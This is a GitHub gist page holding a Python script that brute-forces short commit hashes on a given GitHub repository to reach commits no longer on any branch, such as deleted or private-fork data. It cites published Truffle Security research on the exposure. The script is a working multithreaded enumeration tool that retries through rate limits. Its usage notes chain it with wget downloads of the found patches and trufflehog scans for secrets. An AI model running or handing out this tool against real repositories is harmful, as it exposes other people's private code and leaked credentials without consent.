Created
October 24, 2024 13:00
-
-
Save sudoaza/a5f0cc15625292b78bd5b6afd1217902 to your computer and use it in GitHub Desktop.
Bruteforce private commits by their short hash. Based on research from Truffle Sec https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Brute force commit hashes on GitHub projects. | |
Example usage: | |
brute_commit.py user/repo >> found_commits.txt | |
mkdir dump_dir; wget -c -i found_commits.txt -P dump_dir | |
trufflehog filesystem dump_dir | |
""" | |
import requests | |
import argparse | |
import threading | |
import time | |
import sys | |
import os | |
from tqdm import tqdm | |
class RateLimit(Exception): | |
pass | |
def retry(times, exceptions=(RateLimit,)): | |
def decorator(func): | |
def newfn(*args, **kwargs): | |
attempt = 0 | |
while attempt < times: | |
try: | |
return func(*args, **kwargs) | |
except exceptions as e: | |
attempt += 1 | |
print(f"Retrying. Attempt {attempt} of {times}", file=sys.stderr) | |
return func(*args, **kwargs) | |
return newfn | |
return decorator | |
HIDDEN_MSG = "This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository." | |
@retry(times=2, exceptions=(RateLimit,requests.exceptions.ReadTimeout, requests.exceptions.ConnectTimeout, requests.exceptions.ConnectionError)) | |
def check_url(url, timeout): | |
response = requests.head(url, timeout=timeout) | |
if response.status_code == 200: | |
#print(f"Valid URL found: {url}") | |
response = requests.get(url) | |
if HIDDEN_MSG in response.text: | |
return url | |
elif response.status_code != 404: | |
if response.status_code == 429: | |
wait = int(int(response.headers["Retry-After"]) * 2.5) | |
print(f"Rate limited, waiting {wait} seconds.", file=sys.stderr) | |
time.sleep(wait) | |
raise RateLimit | |
else: | |
print(f"Attempted: {url}, Status Code: {response.status_code}", file=sys.stderr) | |
#print(response.headers) | |
def brute_force_commit(base_url, start, hash_length, threads, timeout): | |
for i in range(threads): | |
#print(f"Starting thread {i}") | |
thread = threading.Thread(target=brute_force_commit_thread, args=(base_url, start, hash_length, i, threads, timeout)) | |
thread.start() | |
def brute_force_commit_thread(base_url, start, hash_length, thread_id, threads, timeout): | |
urls = [] | |
# use tqdm to show progress | |
for i in tqdm(range(start + thread_id, 16**hash_length, threads)): | |
#for i in range(start + thread_id, 16**hash_length, threads): | |
suffix = f"{i:0{hash_length}x}" | |
url = f"{base_url}{suffix}" | |
if args and args.debug: | |
print(f"Thread {thread_id} checking {url}", file=sys.stderr) | |
found_url = check_url(url, timeout) | |
if found_url: | |
print(found_url+".patch") | |
urls.append(found_url) | |
return urls | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser(description="Brute force commit hashes on GitHub projects.") | |
parser.add_argument("project", help="GitHub project in the format 'user/repo'") | |
parser.add_argument("--debug", help="Show debugging mesages.") | |
parser.add_argument("--threads", type=int, default=4, help="Number of threads to use for the brute force (default: 4)") | |
parser.add_argument("--timeout", type=int, default=5, help="Timeout for each request in seconds (default: 5)") | |
parser.add_argument("--hash-length", type=int, default=4, help="Number of characters to bruteforce (default: 4)") | |
parser.add_argument("--start", default="0", help="Starting from hash value") | |
args = parser.parse_args() | |
base_url = f"https://github.com/{args.project}/commit/" | |
args.start = int(args.start, 16) | |
brute_force_commit(base_url, args.start, args.hash_length, args.threads, args.timeout) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment